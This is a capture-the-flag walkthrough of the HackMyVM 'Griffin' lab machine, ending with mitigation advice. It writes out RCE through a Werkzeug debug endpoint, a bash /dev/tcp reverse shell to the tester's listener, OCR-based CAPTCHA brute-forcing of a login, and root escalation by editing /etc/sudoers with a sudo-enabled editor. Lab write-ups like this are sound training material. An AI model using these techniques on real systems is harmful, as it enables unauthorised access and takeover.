Griffin
This machine is based on multiple attack surfaces, including a Werkzeug server, CAPTCHA-protected login, and internal services.
1️⃣ Introduction
The Griffin machine is a Linux-based CTF challenge on HackMyVM, designed to test web exploitation, reverse shell techniques, and privilege escalation skills. It simulates a realistic web application environment with multiple attack surfaces, including a Werkzeug server, CAPTCHA-protected login, and internal services. My goals were to practice automated brute-forcing, CAPTCHA solving, and creative privilege escalation techniques while improving my enumeration methodology.
2️⃣ Port Scanning
Why:
Port scanning identifies open services and potential entry points, guiding the attack strategy.
Commands:
1
nmap -sC -sV -p- -vv -T4 -oN Nmap_Result.txt 10.0.2.28
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
| 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
8080/tcp open http syn-ack ttl 64 Werkzeug httpd 3.1.3 (Python 3.9.2)
|_http-server-header: Werkzeug/3.1.3 Python/3.9.2
|_http-favicon: Unknown favicon MD5: DD9E535C7728FB79BFE3CAA24AA906B3
|_http-title: Site doesnt have a title (text/plain; charset=utf-8).
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
MAC Address: 08:00:27:EA:E3:BA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Notes:
- Discovered Ports:
- 22/tcp: OpenSSH 8.4p1 (Debian), potential SSH access with credentials.
- 8080/tcp: Werkzeug 3.1.3 (Python 3.9.2), a Python web server, likely hosting a debug interface.
- Reasoning:
- Focused on port 8080 due to Werkzeug’s history of debug console vulnerabilities.
- Noted SSH for later credential-based access.
3️⃣ Web Enumeration
Tools:
curl
,feroxbuster
, manual browser exploration
Content:
- Port 8080 (Werkzeug):
- Initial access revealed a diagnostic message: “System Info: Diagnostic token =
Token
”. - Multiple requests to
/info
yielded rotating tokens:BetaToken123
,AlphaToken123
,CyberCorpDebug123
. - Since this is
Werkzeug
site so there must be/console
,/info
,/token
,/debug
and many more endpoints, let’s look into it 🔻
path
/debug
get triggered after multiple attempt
This is where I can get the token value but it got 3 values while attempting multiple times I can see the different tokens.
1
2
3
4
5
6
└─$ curl -X GET http://10.0.2.28:8080/info
System Info: Diagnostic token = BetaToken123
└─$ curl -X GET http://10.0.2.28:8080/info
System Info: Diagnostic token = AlphaToken123
└─$ curl -X GET http://10.0.2.28:8080/info
System Info: Diagnostic token = CyberCorpDebug123
/debug
endpoint required a token andrun
parameter, hinting at command execution.1 2
└─$ curl -X GET http://10.0.2.28:8080/debug?token=CyberCorpDebug123 Missing run command
Used
CyberCorpDebug123
withrun=id
to confirm RCE as userlois
.1 2
└─$ curl -X GET "http://10.0.2.28:8080/debug?token=CyberCorpDebug123&run=id" uid=1002(lois) gid=1002(lois) groups=1002(lois),0(root)
Output: uid=1002(lois) gid=1002(lois) groups=1002(lois),0(root)
.
4️⃣ Exploitation
Content:
- Crafted a URL-encoded reverse shell:
1
2
urlencode 'bash -c "bash -i >& /dev/tcp/10.0.2.15/4444 0>&1"'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F4444%200%3E%261%22%0A
1
curl -X GET "http://10.0.2.28:8080/debug?token=CyberCorpDebug123&run=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F4444%200%3E%261%22%0A"
Received a reverse shell as lois
.
Lets try this bash reverse shell with url encoded 🔻
1
└─$ curl -X GET "http://10.0.2.28:8080/debug?token=CyberCorpDebug123&run=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.15%2F4444%200%3E%261%22%0A"
Reverse shell with bash script and got
lois
user shell
5️⃣ Getting Shell
Content:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
lois@Griffin:/home/lois$ whoami
whoami
lois
lois@Griffin:/home/lois$ id
id
uid=1002(lois) gid=1002(lois) groups=1002(lois),0(root)
lois@Griffin:/home/lois$ hostname
hostname
Griffin
lois@Griffin:/home/lois$ ls -al
ls -al
total 428
drwxr-xr-x 2 lois lois 4096 Jul 27 07:27 .
drwxr-xr-x 6 root root 4096 Jun 8 23:43 ..
lrwxrwxrwx 1 root root 9 Jun 8 12:19 .bash_history -> /dev/null
-rw-r--r-- 1 lois lois 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 lois lois 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 lois lois 807 Apr 18 2019 .profile
-rw-r--r-- 1 lois lois 411624 Jul 27 07:27 socat
-rwxrwxrwx 1 root root 44 Jun 9 05:48 user.txt
lois@Griffin:/home/lois$
I can see different ports are open internally like port 80
that is not accessible externally so lets look into it for that I need to do port forwarding.
1
2
3
4
5
6
7
8
9
10
11
12
lois@Griffin:/tmp$ ss -tunlp
ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:29001 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:29002 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:29003 0.0.0.0:*
tcp LISTEN 0 5 0.0.0.0:8080 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:80 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
lois@Griffin:/tmp$
6️⃣ Post-Exploitation Enumeration
Content:
Port 8000 (After Port Forwarding):
- Discovered internal HTTP service on port 80 via
ss -tunlp
, forwarded to 8000 usingsocat
.
- Discovered internal HTTP service on port 80 via
Let’s do port forwarding with socat tool🔻
1
2
3
4
lois@Griffin:/tmp$ ./socat_x86 TCP-LISTEN:8000,reuseaddr,fork TCP:127.0.0.1:80&
<86 TCP-LISTEN:8000,reuseaddr,fork TCP:127.0.0.1:80&
[1] 1302
lois@Griffin:/tmp$
After port forwarding I can see the family detail dashboard that also contain a robot.txt
file 🔻
Port forwarded port 8000 has family detail dashboard
Through feroxbuster tool for directory brute-forcing I got some more files or directory in this site 🔻
1
$ feroxbuster -u 'http://10.0.2.28:8000' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 100 -C 403,404,400,503,500 -o ferox.json -x php,txt,zip
At the end of the robots.txt
page I can see the hint in it that says ⏬
I can see a login page along with a captcha input field, so for login brute force, as I got the idea from the robots.txt
page hint, I need to use rockyou.txt
as a password list, and for the username, I guess the person who developed this site, according to the footer caption I can see, biran
will be our user.
Family login page with captcha input
Login Brute-Force:
- Developed a Python script (
brute_family.py
) to brute-force the/family
login page:- Username:
brian
(from footer typobrian
). - Password List:
rockyou.txt
(hinted byrobots.txt
). - CAPTCHA Solver: Used
ddddocr
to process CAPTCHAs in memory.
- Username:
- Script details (available on GitHub):
- Reads passwords from a wordlist.
- Fetches CAPTCHAs via HTTP, solves them using
ddddocr
, and submits login attempts. - Resets sessions after each attempt to avoid lockouts.
- Stops on HTTP 302, indicating success (found
savannah
).
- Why
ddddocr
?:ddddocr
is an OCR library that decodes CAPTCHA images into text, bypassing the login page’s CAPTCHA protection.- It processes images in memory, avoiding disk writes, and is fast enough for real-time brute-forcing.
- Alternatives Considered:
- Manual CAPTCHA solving (too slow).
- Other OCR libraries like
pytesseract
(less accurate). - Brute-forcing without session resets (caused lockouts).
- Output:
- Developed a Python script (
1
2
[00004] savannah | captcha=G4U8 | status=302
🎉 FOUND: savannah
Lets look into the login success request 🔻
Login success with this password and got an authentication cookie
Now I have cracked that cookie and seen if I can get any more information form it or not.
CyberChef platform applying
base58
and base64
decoding algorithms
I guess I got the creds for meg
user so lets ssh into it 🔻
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
└─$ ssh meg@10.0.2.28
meg@10.0.2.28s password:
Linux Griffin 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
meg@Griffin:~$ whoami
meg
meg@Griffin:~$ id
uid=1001(meg) gid=1001(meg) groups=1001(meg)
meg@Griffin:~$ ls -al
total 20
drwxr-xr-x 2 meg meg 4096 Jun 8 12:19 .
drwxr-xr-x 6 root root 4096 Jun 8 23:43 ..
lrwxrwxrwx 1 root root 9 Jun 8 12:19 .bash_history -> /dev/null
-rw-r--r-- 1 meg meg 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 meg meg 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 meg meg 807 Apr 18 2019 .profile
meg@Griffin:~$ sudo -l
Matching Defaults entries for meg on Griffin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User meg may run the following commands on Griffin:
(ALL) NOPASSWD: /usr/bin/python3 /root/game.py
meg@Griffin:~$
meg@Griffin:/tmp$ sudo /usr/bin/python3 /root/game.py
Traceback (most recent call last):
File "/root/game.py", line 100, in <module>
start_server()
File "/root/game.py", line 89, in start_server
server.bind(('0.0.0.0', 6666))
OSError: [Errno 98] Address already in use
meg@Griffin:/tmp$
I can see the 6666 port is being used here for some task so lets access it from externally and observer it.
7️⃣ Privilege Escalation
Method Used: Sudo Python Script (Game Challenge Automation)
- Why Chosen:
meg
could run/root/game.py
as root, which binds to port 6666 and runs a multi-stage challenge.- Automated the challenge to obtain a flag that served as
peter
’s password.
- Steps:
- Connected to
nc 10.0.2.28 6666
:- Stage 1: Solved math problem (e.g.,
(56 * 6) // 1 = 336
). - Stage 2: Decrypted Caesar cipher (
irdj{idqhirdj}
→flag{fakeflag}
). - Stage 3: Computed MD5 hash of
591907 + 1753699027
within 3 seconds.
- Stage 1: Solved math problem (e.g.,
- Used a Python script to automate:
- Connected to
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import re
import hashlib
r = remote("10.0.2.28", 6666)
# Stage 1: Math
a = r.recvuntil(b"Enter your answer:").decode()
b = re.split(r'(: )|( =)', a)
r1 = eval(b[6])
r.sendline(str(r1).encode())
# Stage 2: Caesar
r.recvuntil(b"Enter the decrypted message:")
r.sendline(b'flag{fakeflag}')
# Stage 3: MD5
d = r.recvuntil(b"Enter the hash:").decode()
e = re.split(r'\(|\)| ', d)
x = e[5] + e[9]
hash_object = hashlib.md5(str(x).encode())
md5_hash = hash_object.hexdigest()
r.sendline(md5_hash.encode())
rest = r.recvall()
print(rest.decode())
- Output:
1
2
3
4
5
└─$ python3 nc_problem.py 10.0.2.28 6666
[+] Opening connection to 10.0.2.28 on port 6666: Done
[+] Receiving all data: Done (47B)
[*] Closed connection to 10.0.2.28 port 6666
Congratulations! Flag: HMV{Wow!------------}
Turns out this flag value is the password
of peter
user in this machine 🔻
1
2
3
4
5
6
7
8
9
meg@Griffin:/tmp$ su peter
Password:
peter@Griffin:/tmp$ whoami
peter
peter@Griffin:/tmp$ id
uid=1003(peter) gid=1003(peter) groups=1003(peter)
peter@Griffin:/tmp$ hostname
Griffin
peter@Griffin:/tmp$
Method Used: Sudo mg
Editor Abuse
- Why Chosen:
peter
could run/usr/bin/mg
as root, a text editor allowing file modifications.- Edited
/etc/sudoers
to grantpeter
full sudo privileges.
- Steps:
- Logged in as
peter
withWow!------------
. - Checked
sudo -l
:
- Logged in as
1
2
3
4
5
6
7
8
peter@Griffin:/tmp$ sudo -l
Matching Defaults entries for peter on Griffin:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User peter may run the following commands on Griffin:
(ALL) NOPASSWD: /usr/bin/mg
peter@Griffin:/tmp$
- Edited
/etc/sudoers
:
1
peter@Griffin:/tmp$ sudo mg /etc/sudoers
mg tool interface where I edited the peters privileges and saved it
Now lets check for the privileges again 🔻
1
2
3
4
5
6
7
8
peter@Griffin:/tmp$ sudo -l
Matching Defaults entries for peter on Griffin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User peter may run the following commands on Griffin:
(ALL) NOPASSWD: /usr/bin/mg
(ALL : ALL) ALL
peter@Griffin:/tmp$
Now lets have a root shell now 👾
8️⃣ Root Access
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
peter@Griffin:/tmp$ sudo su
[sudo] password for peter:
root@Griffin:/tmp# cd /root
root@Griffin:~# whoami
root
root@Griffin:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Griffin:~# ls -al
total 84
drwx------ 7 root root 4096 Jun 10 05:42 .
drwxr-xr-x 18 root root 4096 Mar 18 20:37 ..
-rw-r--r-- 1 root root 1482 Jun 9 05:22 alpha.py
lrwxrwxrwx 1 root root 9 Mar 18 21:18 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 1480 Jun 9 05:22 beta.py
drwxr-xr-x 4 root root 4096 Apr 4 22:04 .cache
-rwx--x--x 1 root root 3801 Jun 9 05:25 game.py
drwx------ 3 root root 4096 Apr 4 21:00 .gnupg
-rw-r--r-- 1 root root 3562 Jun 9 05:22 load_balancer_daemon.py
drwxr-xr-x 3 root root 4096 Mar 18 21:04 .local
-rw-r--r-- 1 root root 2581 Jun 9 05:22 phoenix.py
drwxr-xr-x 2 root root 4096 Jun 8 10:56 .pip
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 44 Jun 9 05:48 root.txt
-rwxr-xr-x 1 root root 116 Jun 10 05:38 run.sh
-rw-r--r-- 1 root root 66 Jun 8 11:15 .selected_editor
drwx------ 2 root root 4096 Jun 9 01:02 .ssh
-rw-r--r-- 1 root root 8564 Jul 27 07:29 startup.log
-rwxr-xr-x 1 root root 1063 Jun 9 05:22 stop.sh
root@Griffin:~# cat root.txt
flag{root-xxxxxxxxxxxxxxxxxxxxxxxxxxx}
root@Griffin:~#
I am root now !
🔍 Mitigation
✅ Disable Werkzeug Debug: Remove or secure /debug
and /info
endpoints in production.
✅ Strengthen CAPTCHA: Use advanced CAPTCHAs (e.g., reCAPTCHA) resistant to OCR.
✅ Restrict Sudo Privileges: Avoid granting text editors like mg
or scripts like game.py
sudo access; use least privilege.
✅ Patch Werkzeug: Ensure Werkzeug is updated and debug mode is disabled (DEBUG=False
).
✅ Monitor Internal Services: Expose only necessary ports externally and use firewalls.
💡 Takeaways
✅ Learned ddddocr
for CAPTCHA automation: Streamlined brute-forcing with OCR.
✅ Mastered text editor privesc: Understood risks of sudo-enabled editors in real-world systems.
✅ Improved automation scripting: Built scripts for both login brute-forcing and game challenges, enhancing efficiency.
✅ Real-world relevance: Reinforced the importance of securing debug interfaces and internal services.
📌 References
If you have any questions or suggestions, please leave a comment below or DM me on Twitter. Thank you!